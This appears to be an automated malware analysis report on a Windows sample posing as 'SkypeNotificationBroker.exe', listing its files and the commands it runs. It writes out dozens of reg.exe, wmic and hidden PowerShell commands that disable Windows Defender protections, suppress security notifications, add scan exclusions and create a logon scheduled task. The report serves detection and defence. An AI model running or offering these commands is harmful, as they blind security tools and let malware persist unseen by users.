Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\skypenotificationbroker
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
adds antivirus exclusion with following registry keys:
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Microsoft\Windows\' = '00000000'
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\skypenotificationbroker.exe
- nul
- %LOCALAPPDATA%\microsoft\windows\wccache.dat
Miscellaneous
Creates and executes the following
- '%LOCALAPPDATA%\microsoft\windows\skypenotificationbroker.exe'
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Start-Sleep -Milliseconds 2500"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "$g=@((Get-CimInstance Win32_VideoController -EA SilentlyContinue|Select-Object -ExpandProperty Name));$d=[int64]((Get-CimInstance Win32_...
- '<SYSTEM32>\schtasks.exe' /create /tn SkypeNotificationBroker /tr "\"%LOCALAPPDATA%\Microsoft\Windows\SkypeNotificationBroker.exe\"" /sc onlogon /rl highest /f
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration" /v Notification_Suppress /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance /v Enabled /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.StartupApp /v Enabled /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set DisableBehaviorMonitoring=True
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{DisableBehaviorMon...
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set DisableIOAVProtection=True
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{DisableIOAVProtect...
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set DisableBlockAtFirstSight=True
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{DisableBlockAtFirs...
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set MAPSReporting=0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{MAPSReporting=0}"
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set SubmitSamplesConsent=2
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{SubmitSamplesConse...
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v %LOCALAPPDATA%\Microsoft\Windows\ /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\ASROnlyExclusions" /v %LOCALAPPDATA%\Microsoft\Windows\ /t REG_DWORD /d 0 /f
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionPath=\"%LOCALAPPDATA%\Microsoft\Windows\\\""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionPath=@('%...
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "AttackSurfaceReductionOnlyExclusions=\"%LOCALAPPDATA%\Microsoft\Windows\\\""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{AttackSurfaceReduc...
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v %TEMP%\ /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\ASROnlyExclusions" /v %TEMP%\ /t REG_DWORD /d 0 /f
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionPath=\"%TEMP%\\\""
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "AttackSurfaceReductionOnlyExclusions=\"%TEMP%\\\""
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v %WINDIR%\Temp\ /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\ASROnlyExclusions" /v %WINDIR%\Temp\ /t REG_DWORD /d 0 /f
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionPath=\"%WINDIR%\Temp\\\""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Start-Sleep -Milliseconds 2500"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "$g=@((Get-CimInstance Win32_VideoController -EA SilentlyContinue|Select-Object -ExpandProperty Name));$d=[int64]((Get-CimInstance Win32_...' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /create /tn SkypeNotificationBroker /tr "\"%LOCALAPPDATA%\Microsoft\Windows\SkypeNotificationBroker.exe\"" /sc onlogon /rl highest /f' (with hidden window)
- '%LOCALAPPDATA%\microsoft\windows\skypenotificationbroker.exe' ' (with hidden window)
- '<SYSTEM32>\net.exe' session' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration" /v Notification_Suppress /t REG_DWORD /d 1 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance /v Enabled /t REG_DWORD /d 0 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.StartupApp /v Enabled /t REG_DWORD /d 0 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f' (with hidden window)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set DisableBehaviorMonitoring=True' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{DisableBehaviorMon...' (with hidden window)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set DisableIOAVProtection=True' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{DisableIOAVProtect...' (with hidden window)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set DisableBlockAtFirstSight=True' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{DisableBlockAtFirs...' (with hidden window)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set MAPSReporting=0' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{MAPSReporting=0}"' (with hidden window)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set SubmitSamplesConsent=2' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{SubmitSamplesConse...' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v %LOCALAPPDATA%\Microsoft\Windows\ /t REG_DWORD /d 0 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\ASROnlyExclusions" /v %LOCALAPPDATA%\Microsoft\Windows\ /t REG_DWORD /d 0 /f' (with hidden window)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionPath=\"%LOCALAPPDATA%\Microsoft\Windows\\\""' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionPath=@('%...' (with hidden window)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "AttackSurfaceReductionOnlyExclusions=\"%LOCALAPPDATA%\Microsoft\Windows\\\""' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{AttackSurfaceReduc...' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v %TEMP%\ /t REG_DWORD /d 0 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\ASROnlyExclusions" /v %TEMP%\ /t REG_DWORD /d 0 /f' (with hidden window)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionPath=\"%TEMP%\\\""' (with hidden window)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "AttackSurfaceReductionOnlyExclusions=\"%TEMP%\\\""' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v %WINDIR%\Temp\ /t REG_DWORD /d 0 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\ASROnlyExclusions" /v %WINDIR%\Temp\ /t REG_DWORD /d 0 /f' (with hidden window)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionPath=\"%WINDIR%\Temp\\\""' (with hidden window)
